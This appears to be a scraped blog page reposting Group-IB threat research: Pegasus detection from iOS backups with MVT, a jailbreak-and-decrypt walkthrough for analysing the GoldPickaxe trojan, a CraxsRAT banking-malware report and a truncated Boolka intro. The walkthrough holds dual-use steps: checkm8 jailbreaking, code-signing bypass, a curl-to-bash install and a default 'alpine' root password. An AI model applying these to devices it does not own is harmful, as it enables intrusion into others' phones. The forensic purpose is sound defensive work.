3dce929b1c091abac3342788624f1ffa4be5d603eec4d7ab39b604694ac05d22
eb2f95bb2059a3690259f2c0d7537b3cad858869650b9c220d2d81e3720b6dde
2e0e324e36fafe71f5d2bcf521e6415dafbc3f1173ad77f1f3daa77bb581da5f
5d9eb83b4a6f2d49580e1658263eb972be336a2cad15a84561d17d59391191b0
75d7b6264f5a574bc75400c9d57282e9344d8b2df576ad2a36ab7e2575d5a395
e5e5122ba6d0b06f7ed8e57ab5324ae730970c0d23913f27b9ecc9094182c03d
275302d03a4378f1b852e6d783d3181c2899ae0e9ebad4c7160221320863c425
653a4ad0b00e59a01142f899b6aac9712cfb25063b5b9b2e7e3171f7f3a897ed
8fad39ec0671d9b401712ddbc1f24942b2ee2f4865b6ffcd2f019036e03cbade
c8b76b63644d2946fd0af72b48fa59f07a78e1f84464cff5e9b1ca4110e6113e
3928c5874249cc71b2d88e5c0c00989ac394238747bb7638897fc210531b4aab
7d052cffcf97b303d11c5d35fa9bc860155601cdea21e38447401571b35d2db1
c81d4770e812ddc883ead8ff41fd2e5a7d5bc8056521219ccf8784219d1bd819
bf56711bbe0b1dac3b1481d36e7ae2f312da5f404c554c2c45a01fe591b8464d
5c9722d3dc72dbeafec00256887867bad46d347a5fc797d57fc9e0fd317035d3
3369ddc627282eb38346e1a56118026dd3ccdb29b18ffff88ecf3663296ee6da

Posted in Exploits, ProgrammingTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Ransomware, Reverse Engineering, Spyware, vulnerabilityLeave a comment

In-depth analysis of Pegasus spyware and how to detect it on your iOS device

Posted on October 2, 2024 - October 2, 2024 by Maq Verma

How does Pegasus and other spyware work discreetly to access everything on your iOS device?
Introduction

In today’s digital age, mobile phones and devices have evolved from being exclusive to a few to becoming an absolute need for everyone, aiding us in both personal and professional pursuits. However, these devices, often considered personal, can compromise our privacy when accessed by nefarious cybercriminals.

Malicious mobile software has time and again been wielded as a sneaky weapon to compromise the sensitive information of targeted individuals. Cybercriminals build complex applications capable of operating on victims’ devices unbeknownst to them, concealing the threat and the intentions behind it. Despite the common belief among iOS users that their devices offer complete security, shielding them from such attacks, recent developments, such as the emergence of Pegasus spyware, have shattered this pretense.

The first iOS exploitation by Pegasus spyware was recorded in August 2016, facilitated through spear-phishing attempts—text messages or emails that trick a target into clicking on a malicious link.

What is Pegasus spyware?

Developed by the Israeli company NSO Group, Pegasus spyware is malicious software designed to gather sensitive information from devices and users illicitly. Initially licensed by governments for targeted cyber espionage purposes, it is a sophisticated tool for remotely placing spyware on targeted devices to pry into and reveal information. Its ‘zero-click’ capability makes it particularly dangerous as it can infiltrate devices without any action required from the user.

Pegasus can gather a wide range of sensitive information from infected devices, including messages, audio logs, GPS location, device information, and more. It can also remotely activate the device’s camera and microphone, essentially turning the device into a powerful tool for illegal surveillance.

Over time, NSO Group has become more creative in its methods of unwarranted intrusions into devices.  The company, which was founded in 2010, claims itself to be a “leader” in mobile and cellular cyber warfare.

Pegasus is also capable of accessing data from both iOS and Android-powered devices. The fact that it can be deployed through convenient gateways such as SMS, WhatsApp, or iMessage makes it an effortless tool to trick users into installing the spyware without their knowledge. This poses a significant threat to the privacy and security of individuals and organizations targeted by such attacks.

How does Pegasus spyware work?

Pegasus is extremely efficient due to its strategic development to use zero-day vulnerabilities, code obfuscation, and encryption. NSO Group provides two methods for remotely installing spyware on a target’s device: a zero-click method and a one-click method. The one-click method includes sending the target a regular SMS text message containing a link to a malicious website. This website then exploits vulnerabilities in the target’s web browser, along with any additional exploits needed to implant the spyware.

Zero-click attacks do not require any action from device users to establish an unauthorized connection, as they exploit ‘zero-day’ vulnerabilities to gain entry into the system. Once the spyware is installed, Pegasus actively captures the intended data about the device. After installation, Pegasus needs to be constantly upgraded and managed to adapt to device settings and configurations. Additionally, it may be programmed to uninstall itself or self-destruct if exposed or if it no longer provides valuable information to the threat actor.

Now that we’ve studied what Pegasus is and the privacy concerns it raises for users, this blog will further focus on discussing precautionary and investigation measures. The suggested methodology can be leveraged to detect not just Pegasus spyware but also Operation Triangulation, Predator spyware, and more.

Let’s explore how to check iOS or iPadOS devices for signs of compromise when only an iTunes backup is available and obtaining a full file system dump isn’t a viable option.

In recent years, targeted attacks against iOS devices have made headlines regularly. Although the infections are not widespread and they hardly affect more than 100 devices per wave, such attacks still pose serious risks to Apple users. The risks have appeared as a result of iOS becoming an increasingly complex and open system, over the years, to enhance user experience. A good example of this is the flawed design of the iMessage application, which wasn’t protected through the operating system’s sandbox mechanisms. 

Apple failed to patch this flaw with a security feature called BlastDoorin iOS 14, instead implementing a Lockdown Mode mechanism that, for now, cybercriminals have not been able to bypass. Learn more about Lockdown Mode here.

While BlastDoor provides a flexible solution through sandbox analysis, Lockdown Mode imposes limitations on iMessage functionality. Nonetheless, the vulnerabilities associated with ImageIO may prompt users to consider disabling iMessage permanently. Another major problem is that there are no mechanisms to examine an infected iOS device directly. Researchers have three options:

  1. Put the device in a safe and wait until an exploit is developed that can extract the full file system dump
  2. Analyze the device’s network traffic (with certain limitations as not all viruses can transmit data via Wi-Fi)
  3. Explore a backup copy of an iOS device, despite data extraction limitations

The backup copy must be taken only with encryption (password protection) as data sets in encrypted and unencrypted copies differ. Here, our analysts focus on the third approach, as it is a pragmatic way to safely examine potential infections without directly interacting with the compromised device. This approach allows researchers to analyze the device’s data in a controlled environment, avoiding any risk of further compromising the device and losing valuable evidence that forms the ground for crucial investigation and analysis.

To conduct research effectively, the users will need either a Mac or Linux device. Linux virtual machines can also be used, but it is recommended that users avoid using Windows Subsystem for Linux as it has issues with forwarding USB ports.

In the analysis performed by Group-IB experts, we use an open-source tool called Mobile Verification Toolkit (MVT), which is supported by a methodology report.

Let’s start with installing dependencies:

sudo apt install python3 python3-pip libusb-1.0-0 sqlite3

Next, install a set of tools for creating and working with iTunes backups:

sudo apt install libimobiledevice-utils

Lastly, install MVT:

git clone https://github.com/mvt-project/mvt.git
cd mvt
pip3 install

Now, let’s begin with the analysis. To create a backup, perform the following:

  1. Connect the iOS device and verify the pairing process by entering your passcode.
  2. Enter the following command:

ideviceinfo

Users will receive a substantial output with information about the connected device, such as the iOS version and model type:

ProductName: iPhone OS
ProductType: iPhone12.5
ProductVersion: 17.2.1

After that, users can set a password for the device backup:

idevicebackup2 -i encryption on

Enter the password for the backup copy and confirm it by entering your phone’s passcode.

As mentioned, the above step is crucial to ensure the integrity of the data extracted from the device.

Create the encrypted copy:

idevicebackup2 backup –full /path/to/backup/

This process may take a while depending on the amount of space available on your device. Users will also need to enter the passcode again.

Once the backup is complete (as indicated by the Backup Successful message), the users will need to decrypt it.

To do so, use MVT:

mvt-ios decrypt-backup -p [password] -d /path/to/decrypted /path/to/backup

After being through with the process, users may have successfully decrypted the backup.

Now, let’s check for known indicators. Download the most recent IoCs (Indicators of Compromise):

mvt-ios download-iocs

We can also track IoCs relating to other spyware attacks from several sources, such as:

“NSO Group Pegasus Indicators of Compromise”
“Predator Spyware Indicators of Compromise”
“RCS Lab Spyware Indicators of Compromise”
“Stalkerware Indicators of Compromise”
“Surveillance Campaign linked to mercenary spyware company”
“Quadream KingSpawn Indicators of Compromise”
“Operation Triangulation Indicators of Compromise”
“WyrmSpy and DragonEgg Indicators of Compromise”

  • Indicators from Amnesty International’s investigations
  • Index and collection of MVT compatibile indicators of compromise

The next step is to launch the scanning:

mvt-ios check-backup –output /path/to/output/ /path/to/decrypted/

The users will obtain the following set of JSON files for analysis.

If any infections are detected, the users will receive a *_detected.json file with detections.

Result of MVT IOCs scan with four detections

Image 1: Result of MVT IOCs scan with four detections

The detected results are saved in separate files with "_detected" ending

Image 2: The detected results are saved in separate files with “_detected” ending

If there are suspicions of spyware or malware without IOCs, but there are no detections, and a full file system dump isn’t feasible, users will need to work with the resources at hand. The most valuable files in the backup include:

Safari_history.json – check for any suspicious redirects and websites.

“id”: 5,
“url”: “http://yahoo.fr/”,
“visit_id”: 7,
“timestamp”: 726652004.790012,
“isodate”: “2024-01-11 07:46:44.790012”,
“redirect_source”: null,
“redirect_destination”: 8,
“safari_history_db”: “1a/1a0e7afc19d307da602ccdcece51af33afe92c53”

Datausage.json – check for suspicious processes.

“first_isodate”: “2023-11-21 15:39:34.001225”,
“isodate”: “2023-12-14 03:05:02.321592”,
“proc_name”: “mDNSResponder/com.apple.datausage.maps”,
“bundle_id”: “com.apple.datausage.maps”,
“proc_id”: 69,
“wifi_in”: 0.0,
“wifi_out”: 0.0,
“wwan_in”: 3381.0,
“wwan_out”: 8224.0,
“live_id”: 130,
“live_proc_id”: 69,
“live_isodate”: “2023-12-14 02:45:10.343919”

Os_analytics_ad_daily.json – check for suspicious processes.

“package”: “storekitd”,
“ts”: “2023-07-11 05:24:31.981691”,
“wifi_in”: 400771.0,
“wifi_out”: 52607.0,
“wwan_in”: 0.0,
“wwan_out”: 0.0

Keeping a backup copy of a control device is required to maintain a record of the current names of legitimate processes within a specific iOS version. This control device can be completely reset and reconfigured with the same iOS version. Although annual releases often introduce significant changes, new legitimate processes may still be added, even within a year, through major system updates.

Sms.json – check for links, the content of these links, and domain information.

        "ROWID": 97,
        "guid": "9CCE3479-D446-65BF-6D00-00FC30F105F1",
        "text": "",
        "replace": 0,
        "service_center": null,
        "handle_id": 1,
        "subject": null,
        "country": null,
        "attributedBody": "",
        "version": 10,
        "type": 0,
        "service": "SMS",
        "account": "P:+66********",
        "account_guid": "54EB51F8-A905-42D5-832E-D98E86E4F919",
        "error": 0,
        "date": 718245997147878016,
        "date_read": 720004865472528896,
        "date_delivered": 0,
        "is_delivered": 1,
        "is_finished": 1,
        "is_emote": 0,
        "is_from_me": 0,
        "is_empty": 0,
        "is_delayed": 0,
        "is_auto_reply": 0,
        "is_prepared": 0,
        "is_read": 1,
        "is_system_message": 0,
        "is_sent": 0,
        "has_dd_results": 1,
        "is_service_message": 0,
        "is_forward": 0,
        "was_downgraded": 0,
        "is_archive": 0,
        "cache_has_attachments": 0,
        "cache_roomnames": null,
        "was_data_detected": 1,
        "was_deduplicated": 0,
        "is_audio_message": 0,
        "is_played": 0,
        "date_played": 0,
        "item_type": 0,
        "other_handle": 0,
        "group_title": null,
        "group_action_type": 0,
        "share_status": 0,
        "share_direction": 0,
        "is_expirable": 0,
        "expire_state": 0,
        "message_action_type": 0,
        "message_source": 0,
        "associated_message_guid": null,
        "associated_message_type": 0,
        "balloon_bundle_id": null,
        "payload_data": null,
        "expressive_send_style_id": null,
        "associated_message_range_location": 0,
        "associated_message_range_length": 0,
        "time_expressive_send_played": 0,
        "message_summary_info": null,
        "ck_sync_state": 0,
        "ck_record_id": null,
        "ck_record_change_tag": null,
        "destination_caller_id": "+66926477437",
        "is_corrupt": 0,
        "reply_to_guid": "814A603F-4FEC-7442-0CBF-970C14217E1B",
        "sort_id": 0,
        "is_spam": 0,
        "has_unseen_mention": 0,
        "thread_originator_guid": null,
        "thread_originator_part": null,
        "syndication_ranges": null,
        "synced_syndication_ranges": null,
        "was_delivered_quietly": 0,
        "did_notify_recipient": 0,
        "date_retracted": 0,
        "date_edited": 0,
        "was_detonated": 0,
        "part_count": 1,
        "is_stewie": 0,
        "is_kt_verified": 0,
        "is_sos": 0,
        "is_critical": 0,
        "bia_reference_id": null,
        "fallback_hash": "s:mailto:ais|(null)(4)<7AD4E8732BAF100ABBAF4FAE21CBC3AE05487253AC4F373B7D1470FDED6CFE91>",
        "phone_number": "AIS",
        "isodate": "2023-10-06 00:46:37.000000",
        "isodate_read": "2023-10-26 09:21:05.000000",
        "direction": "received",
        "links": [
            "https://m.ais.co.th/J1Hpm91ix"
        ]
    },

Sms_attachments.json – check for suspicious attachments.

        "attachment_id": 4,
        "ROWID": 4,
        "guid": "97883E8C-99FA-40ED-8E78-36DAC89B2939",
        "created_date": 726724286,
        "start_date": "",
        "filename": "~/Library/SMS/Attachments/b8/08/97883E8C-99FA-40ED-8E78-36DAC89B2939/IMG_0005.HEIC",
        "uti": "public.heic",
        "mime_type": "image/heic",
        "transfer_state": 5,
        "is_outgoing": 1,
        "user_info": ",
        "transfer_name": "IMG_0005.HEIC",
        "total_bytes": 1614577,
        "is_sticker": 0,
        "sticker_user_info": null,
        "attribution_info": null,
        "hide_attachment": 0,
        "ck_sync_state": 0,
        "ck_server_change_token_blob": null,
        "ck_record_id": null,
        "original_guid": "97883E8C-99FA-40ED-8E78-36DAC89B2939",
        "is_commsafety_sensitive": 0,
        "service": "iMessage",
        "phone_number": "*",
        "isodate": "2024-01-12 03:51:26.000000",
        "direction": "sent",
        "has_user_info": true
    }

Webkit_session_resource_log.json andwebkit_resource_load_statistics.json – check for suspicious domains.

{
        "domain_id": 22,
        "registrable_domain": "sitecdn.com",
        "last_seen": 1704959295.0,
        "had_user_interaction": false,
        "last_seen_isodate": "2024-01-11 07:48:15.000000",
        "domain": "AppDomain-com.apple.mobilesafari",
        "path": "Library/WebKit/WebsiteData/ResourceLoadStatistics/observations.db"
    }

Tcc.json – check which applications have been granted which permissions.

        "service": "kTCCServiceMotion",
        "client": "com.apple.Health",
        "client_type": "bundle_id",
        "auth_value": "allowed",
        "auth_reason_desc": "system_set",
        "last_modified": "2023-07-11 06:25:15.000000"

To collect data about processes, users can use XCode Instruments.

Note: Developer mode must be enabled on the iOS device.Showcasing XCode instruments profile selection

Image 3: Showcasing XCode instruments profile selection

Process data collection:

Process list from iPhone

Image 4: Process list from iPhone

Overcoming the iOS interception challenge

For the common public

iOS security architecture typically prevents normal apps from performing unauthorized surveillance. However, a jailbroken device can bypass these security measures. Pegasus and other mobile malware may exploit remote jailbreak exploits to steer clear of detection by security mechanisms. This enables operators to install new software, extract data, and monitor and collect information from targeted devices.

Warning signs of an infection on the device include:

  • Slower device performance
  • Spontaneous reboots or shutdowns
  • Rapid battery drain
  • Appearance of previously uninstalled applications
  • Unexpected redirects to unfamiliar websites

This reinstates the critical importance of maintaining up-to-date devices and prioritizing mobile security. Recommendations for end-users include:

  • Avoid clicking on suspicious links
  • Review app permissions regularly
  • Enable Lockdown mode for protection against spyware attacks
  • Consider disabling iMessage and FaceTime for added security
  • Always install the updated version of the iOS

For businesses: Protect against Pegasus and other APT mobile malware

Securing mobile devices, applications, and APIs is crucial, particularly when they handle financial transactions and store sensitive data. Organizations operating in critical sectors, government, and other industries are prime targets for cyberattacks such as espionage and more, especially high-level employees.

Researching iOS devices presents challenges due to the closed nature of the system. Group-IB Threat Intelligence, however, helps organizations worldwide identify cyber threats in different environments, including iOS, with our recent discovery being GoldPickaxe.iOS – the first iOS Trojan harvesting facial scans and using them to potentially gain unauthorized access to bank accounts. Group-IB Threat Intelligence provides a constant feed on new and previously conducted cyber attacks, the tactics, techniques, and behaviors of threat actors, and susceptibility of attacks based on your organization’s risk profile— giving a clear picture of how your devices can be exploited by vectors, to initiate timely and effective defense mechanisms.

If you suspect your iOS or Android device has been compromised by Pegasus or similar spyware, turn to our experts for immediate support. To perform device analysis or set up additional security measures, organizations can also get in touch with Group-IB’s Digital Forensics team for assistance.

Posted in Cyber Attacks, ExploitsTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Ransomware, Reverse Engineering, Spyware, vulnerabilityLeave a comment

GoldPickaxe exposed: How Group-IB analyzed the face-stealing iOS Trojan and how to do it yourself

Posted on October 2, 2024 - October 2, 2024 by Maq Verma

Introduction

In the recent Hi-Tech Crime Trends report, Group-IB experts highlighted a concerning shift in the focus of cybercriminals towards Apple devices. The shift is driven by the increasing popularity and adoption of Apple products in both consumer and corporate environments. As a result, the number of malicious programs targeting iOS and macOS devices has risen exponentially.

The App Store, once considered highly secure, is now at risk of frequent attempts to distribute malware. The increased use of iCloud and other Apple cloud services has made these platforms more appealing to cybercriminals. What’s more, Apple is now officially allowing third-party app stores to distribute iOS apps in Europe. The change is due to Apple being designated a “gatekeeper” under the EU’s Digital Markets Act (DMA). Threat actors are expected to capitalize on this development.

Cybercriminals have started modifying schemes traditionally aimed at Android to target iOS. Group-IB’s discovery of GoldPickaxe malware illustrates this trend. GoldPickaxe, the first iOS Trojan that harvests facial recognition data, is a modified version of the Android Trojan GoldDigger — but with new capabilities. In our detailed analysis, Group-IB experts dissected the new Trojan and found that cybercriminals had leveraged stolen data to impersonate real users and log into their bank accounts.

Hackers will likely continue to look for new ways of exploiting Apple devices, especially as smart technologies and IoT devices become used more widely. This increasing threat landscape shows how important it is to understand how to analyze iOS-related malware. In this article, we will guide you through the process of jailbreaking an iOS device for investigation purposes. By leveraging vulnerabilities such as Checkm8, cybersecurity experts can examine applications thoroughly and uncover potential threats. The goal of the guide is to equip readers with the tools and knowledge they need to investigate iOS devices, analyze any installed apps, and mitigate risks posed by iOS-related threats.

Dangers behind outdated Apple solutions: Checkm8 vulnerability

New security concerns around Apple devices keep coming to light. They are often announced by Apple itself in regular security bulletins. Such disclosures emphasize the importance of informing users about potential risks and how to address them properly. One notable and enduring threat is the checkm8 vulnerability, discovered in 2019. Checkm8 is a bootloader vulnerability that is “burned into the silicon,” which means that it is impossible to completely fix it with software updates. The flaw allows attackers to compromise a device almost irrespective of the iOS version it runs. Apple has made strides to mitigate its impact, for example with the A12 Bionic chip that protects newer devices (iPhone XS/XR and later), but older models remain at risk.

The checkm8 vulnerability is especially relevant today because it is being exploited by many various vendors, who use it to brute-force passcodes on iOS devices. Moreover, the interconnected nature of Apple’s ecosystem means that if one device associated with an Apple ID is compromised, all devices linked to that ID are also at risk. This underscores the importance of not only updating to newer, more secure devices but also of employing stringent security practices across all connected Apple products.

How to jailbreak iOS for investigation purposes

In our recent article, Group-IB experts discussed how to detect sophisticated spyware like Pegasus, which is often used by advanced threat actors and state-sponsored groups to execute zero-click exploits, affecting zero-day vulnerabilities, and gain full remote control of devices without the victims noticing. But what if you need to examine a full-fledged application?

When conducting an in-depth analysis of iOS devices and the apps installed on them, users need to be aware that iOS does not back up apps themselves but only the data they contain, and to a limited extent. It is not enough to rely on a backup copy alone.

To analyze an iPhone, users will require a device that can be jailbroken and forensics tools for jailbreaking iOS devices. The following tools are the most up-to-date:

ProcessorA8-A11A8-A16
DevicesiPhone 6S, 7, 8, XiPhone 6S-14
JailbreakPalera1nDopamine
iOS versionsAll15.0.0-16.5.1

The most accessible option for cybersecurity experts is to acquire an iPhone X, which features a vulnerable bootrom (Checkm8  vulnerability) and runs a relatively recent iOS version (16), enabling the installation and normal functioning of all applications. While Checkm8 poses risks to users, mobile forensic experts can leverage the vulnerability to analyze malware.

To jailbreak your device, you’ll require MacOS and Palera1n, a tool primarily intended for research. However, if you need a low-level copy of a device—referred to as a full logic copy—using this vulnerability, it’s advisable to use agents that are more forensically sound. These agents make minimal changes and leave fewer traces on the device, which is crucial for forensic analysis, especially when extracting digital evidence stored on the phone. You can learn more about bootloader-level extractions here.

Let’s start with downloading the jailbreak utility.

Next, sign it:

codesign --force --deep --sign - palera1n-macos-universal

And allow its execution:

chmod 777 palera1n-macos-universal

Next, try to run the tool:

./palera1n-macos-universal

Request for permission to execute an application for jailbreaking

Figure 1. Request for permission to execute an application for jailbreaking

Allow execution:Settings menu to give permission to run the application

Figure 2. Settings menu to give permission to run the application

NB: Whenever you bypass built-in security mechanisms in MacOS, it is essential to ensure that the binary file is safe and trustworthy. If there is any doubt, it is safer to perform such operations within a virtual machine.

Jailbreaking a device can be done in two ways: rootful or rootless. For our purposes, we’ll opt for the rootless approach, without delving into specific technicalities.

If you are using a device with an Apple A11 processor running the latest iOS 16, it is crucial that the device has never had a passcode set and that the Secure Enclave Processor (SEP) state has remained unchanged. Simply removing the passcode won’t suffice in this scenario. You will need to completely reset the device—erase all content and settings—and set it up again from scratch. For further information, you can refer to the link.

To begin the jailbreak process, connect your iPhone to your computer using a USB-A to Lightning cable. When prompted on your iPhone, select “Trust” to establish the connection between the device and the computer. Once the connection is established and trusted, you can proceed to start the jailbreak procedure.

./palera1n-macos-universal

During the installation process, your phone will enter recovery mode. Following this, adhere to the timer and instructions displayed in the terminal. When prompted, manually switch the device to DFU (Device Firmware Update) mode according to the provided guidance.Example of a timer in a terminal showing how to hold and press the buttons

Figure 3. Example of a timer in a terminal showing how to hold and press the buttons

If the process freezes, which can sometimes happen, try reconnecting the Lightning cable a few times. This may help to resolve the issue and allow the jailbreak process to continue smoothly.

Voilà! After the tool has been downloaded, you will find yourself with a jailbroken phone equipped with an app manager—in this instance, Sileo.App managers Sileo and Zebra

Figure 4. App managers Sileo and Zebra

Once launched, Sileo will prompt you to set a password for the “su” command. We highly advise setting the standard password: “alpine“. This is recommended because “alpine” is the default password for most utilities and tweaks—around 99% of them. Opting for any other password would require you to re-enter it in numerous places throughout the system.

Next, install Frida, a dynamic code instrumentation toolkit. To do so, add the repository to Sileo.Repository list

Figure 5. Repository list

It’s time to install Frida.

Repository list

Once Frida is installed, you will need a Linux-based computer or a virtual machine. For our analysis, Group-IB experts used a Parallels virtual machine running Ubuntu.

Connect your iPhone to the machine and click “Trust” on the device to establish the connection:

Connect your iPhone to the machine and click “Trust”

First, perform some basic installations (if you’re an advanced user, you already know how):

sudo apt update
sudo apt upgrade
sudo curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.7/install.sh | bash
Restart teminal
nvm install --lts
nvm use --lts
npm install -g bagbak

Use bagbak to decrypt the application and extract it from the iPhone.

Enumerate the available packages:

bagbak -l

Output of the command bagbak -l

Figure 6. Output of the command bagbak -l

Check the list for the app you would like to be decrypted, and extract it from the iPhone. In this example, we are looking for com.nnmakakl.ajfihwejk. Also, it is important to take note and remember the app name.Results of the search for the app

Figure 7. Results of the search for the app

Set port 44 for SSH using is a special feature of palera1n and extract the app.

export SSH_PORT=44
// 44 ssh port for Paler1in jailbreak
bagbak com.nnmakakl.ajfihwejk
Results of the search for the app

Mission accomplished! The result is an iOS App Store package (IPA) file of the app that is now decrypted and ready for analysis.

The result is an iOS App Store package (IPA) file of the app

To find out what was inside the file, read our article.

How to stay safe against iOS threats

Despite having been discovered many years ago, vulnerabilities such as Checkm8 remain a threat on account of their ability to become deep-seated in the device’s hardware. New exploitation methods continue to emerge, which makes older devices particularly vulnerable. If a device linked to an Apple ID is compromised, it jeopardizes all devices associated with it and all synchronized data. Group-IB experts recommend taking the following steps to protect your devices:

For the general public:

  • Avoid connecting your primary Apple ID to devices that are known to be vulnerable to the Checkm8 exploit.
  • Use separate Apple IDs for older, vulnerable devices to minimize risk and limit data exposure.
  • Ensure a passcode is configured on your devices so that they benefit from the additional security provided by recent iOS updates.
  • Upgrade to newer devices with the A12 Bionic chip (iPhone XS/XR and later), which are immune to the Checkm8 vulnerability.
  • Never click on suspicious links. Mobile malware is often spread through malicious links in emails, text messages, and social media posts.
  • Carefully review the requested permissions when installing a new application and be on extreme alert when an app requests the Accessibility Service.
  • Refrain from engaging in unknown Testflight campaigns and avoid installing unknown MDM profiles and certificates.

For businesses: Protect against evolving iOS threats

  • Organizations seeking to perform device analysis or implement additional security measures can contact Group-IB’s Digital Forensics team for further assistance.
  •  Analyzing iOS devices is particularly challenging due to the closed nature of the operating system. However, Group-IB’s Threat Intelligence team, which discovered GoldPickaxe.iOS, has the expertise needed to analyze even the most sophisticated malware families in depth and identify vulnerabilities exploited by threat actors. Group-IB Threat Intelligence provides detailed insights into attacker behaviors, helping you to understand how your devices are targeted and to protect your infrastructure in a timely and effective way.
  • To detect malware and block anomalous sessions before users enter any personal information, Group-IB recommends implementing a user session monitoring system such as Group-IB Fraud Protection.
  • Train your employees in risks related to mobile malware. This includes teaching them how to spot fake websites and malicious apps and how to protect their passwords and personal information.
Posted in Cyber Attacks, ExploitsTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Ransomware, Reverse Engineering, Spyware, vulnerabilityLeave a comment

Beware CraxsRAT: Android Remote Access malware strikes in Malaysia

Posted on October 2, 2024 - October 2, 2024 by Maq Verma

Background

In May 2024, the Group-IB team received a request from a Malaysia-based financial organization to investigate a malware sample targeting its clients in the Asia-Pacific region.

Based on details from the customer and the analysis by the Group-IB Fraud Protection team, the malware scenario was reconstructed as follows:

The victim visited a phishing website impersonating a local legitimate food brand, which prompted the victim to download an app to make a purchase. Approximately 5 minutes after downloading the app, the victim’s credentials were stolen, and experienced an unauthorized withdrawal of funds from the victim’s bank within 20 minutes of installing the app on their mobile device.Example of phishing website craxs rat

Figure 1. Example of phishing websiteAttack Flow Diagram

Figure 2. Attack Flow Diagram

After analyzing the malware sample, Group-IB Threat Intelligence experts concluded that this malware sample was attributed to the CraxsRAT.

Malware Profile

CraxsRAT is a notorious malware family of Android Remote Administration Tools (RAT) that features remote device control and spyware capabilities, including keylogging, performing gestures, recording cameras, screens, and calls. For more in-depth technical information and insights into such malware can be found in our  CraxsRAT malware blog. While this Android RAT family has the capability to send SMSes to the victim’s contacts that can be used for further distribution, Group-IB’s Fraud Protection team did not observe this in use during this campaign.Trojan first screen Craxs rat

Figure 3. Trojan first screen

Scheme Target

In this campaign, CraxsRAT primarily targets banking organizations in Malaysia. Following a request from a customer, Group-IB began an investigation and found over 190 additional samples in Malaysia. They all share the same package name generation scheme and impersonated local legitimate brands within the retail services, infrastructure, food and beverages, delivery and logistics, and other consumer-oriented businesses. Brands are identified based on applications’ labels.

Impact

Victims that downloaded the apps containing CraxsRAT android malware will experience credentials leakage and their funds withdrawal illegitimately. Financial organizations targeted by CraxsRAT may experience potential damage to their brand reputation, in addition to increased compliance costs.

Modus Operandi

Fraud Matrix of craxs rat campaign in malaysia

Figure 4. Fraud Matrix of this campaign

Detection and Prevention

Fraud Protection Events

To protect its clients from the threats posed by CraxsRAT android malware and similar threats, Group-IB Fraud Protection utilizes events/rules to detect and prevent CraxsRAT and other similar malware:

For Confirmed CraxsRAT Malware Samples

Group-IB Fraud Protection maintains a comprehensive database of all detected malware. When Fraud Protection system identifies applications from a mobile trojan list being downloaded onto an end user’s device, corresponding events would be triggered to promptly notify clients.Example of “Mobile Banking Trojan” in group-ib fraud protection software

Figure 5. Example of “Mobile Banking Trojan”

For Ongoing Updated and New Strains – Signature-Based Detection

By analyzing the characteristics and fraudulent behavior matrix of CraxsRAT android malware, Group-IB Fraud Protection analysts develop new rules based on these shared attributes and defrauding techniques. These events target undetected or updated CraxsRAT malware samples and new strains exhibiting similar features, even without specific malware signatures.

For any other fake apps – Behaviour-Based Detection

Fake apps often require end users to grant Accessibility service access and enable remote access to their Android devices upon installation. Group-IB’s Fraud Protection Platform can detect Android zero-day malware, identify non-legitimate app downloads, and monitor Accessibility service, remote access status, and parallel or overlay activity on devices. These alerts are communicated to banks, enhancing the likelihood of preventing fraudulent transactions by threat actors.

Example of session on infected device

Example of session on infected device

Figure 6. Example of session on infected device

Mitigation from Other Perspectives

For End Users

End-users should install mobile applications from authorized app stores such as Google Play and the Apple Store to avoid downloading fake apps containing malware. Downloading apps from third-party sites significantly increases the risk of encountering fake app scam. Additionally, users should exercise caution when clicking suspicious buttons or links found on unknown websites or in emails to avoid unintentional granting high-privilege access to fraudsters and the potential loss of credentials.

For banking organizations

Banking organizations play a pivotal role in safeguarding their customers’ financial information. It is imperative for banks to educate customers about security best practices and promote proactive behavior. This includes advising customers to install mobile banking apps only from authorized app stores, avoid clicking on suspicious links, and regularly monitor their accounts for unusual activity. Additionally, banks should implement multi-factor authentication, real-time fraud detection systems, and provide timely alerts to customers regarding potential security threats. By fostering a culture of security awareness, banking organizations can significantly reduce the risk of fraudulent transactions and enhance overall trust in their services.

Conclusion

CraxsRAT malware allows fraudsters to remotely access a victim’s device and steal credentials, leading to financial loss. In addition, CraxsRAT malware is rapidly evolving, with a dramatically increasing number of new strains emerging each day. To build a multi-dimensional detection method for identifying sessions with confirmed malware samples or emerging new strains, the following events are recommended for clients of the Fraud Protection system:

  • Events – Signature-based detection: Fraud Protection can detect the mobile trojan and suspicious mobile application. These events facilitate the detection of confirmed malware samples, mobile trojans listed in the Fraud Protection trojan list, and any suspicious mobile applications.
  • Events – Behavior-based detection: Fraud Protection can detect Android zero-day malware, identify non-legitimate app downloads, and monitor Accessibility service, remote access status, and parallel or overlay activity on devices. These events enable the detection of emerging malware strains by analyzing their behaviors.
  • Events – Statistic-based detection: Fraud Protection can detect changes in user provider, high-risk ISPs, and IPs from high-risk countries. These events help identify suspicious IPs, subnets, and countries linked to known frauds or malwares, serving as informative notifications or as part of a combination of events to prevent fraudulent activity.
  • Events – Cross-department detection: In cooperation with Threat Intelligence, Fraud Protection can detect compromised user login. These events enable the tracking of activities of users whose accounts have been compromised, serving as user notifications or as part of a combination of events to prevent fraudulent activity.
Posted in Cyber Attacks, ExploitsTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Ransomware, Reverse Engineering, Spyware, vulnerabilityLeave a comment

Boolka Unveiled: From web attacks to modular malware

Posted on October 2, 2024 - October 2, 2024 by Maq Verma

Introduction

In January 2024, during the analysis of the infrastructure used by ShadowSyndicate Group-IB Threat Intelligence analysts detected a landing page designed to distribute the BMANAGER modular trojan, created by threat actor dubbed Boolka. Further analysis revealed that this landing page served as a test run for a malware delivery platform based on BeEF framework. The threat actor behind this campaign has been carrying out opportunistic SQL injection attacks against websites in various countries since at least 2022. Over the last three years, the threat actor have been infecting vulnerable websites with malicious JavaScript scripts capable of intercepting any data entered on an infected website.

This blogpost contains a description of:

  • injected JS snippets used by the attacker we named Boolka
  • a newly discovered trojan we dubbed BMANAGER

YARA rules are available for Group-IB Threat Intelligence customers.

If you have any information which can help to shed more light on this threat and enrich current research, please join our Cybercrime Fighters Club. We would appreciate any useful information to update the current blog post.

Description

Discovery via InfraStorm connection

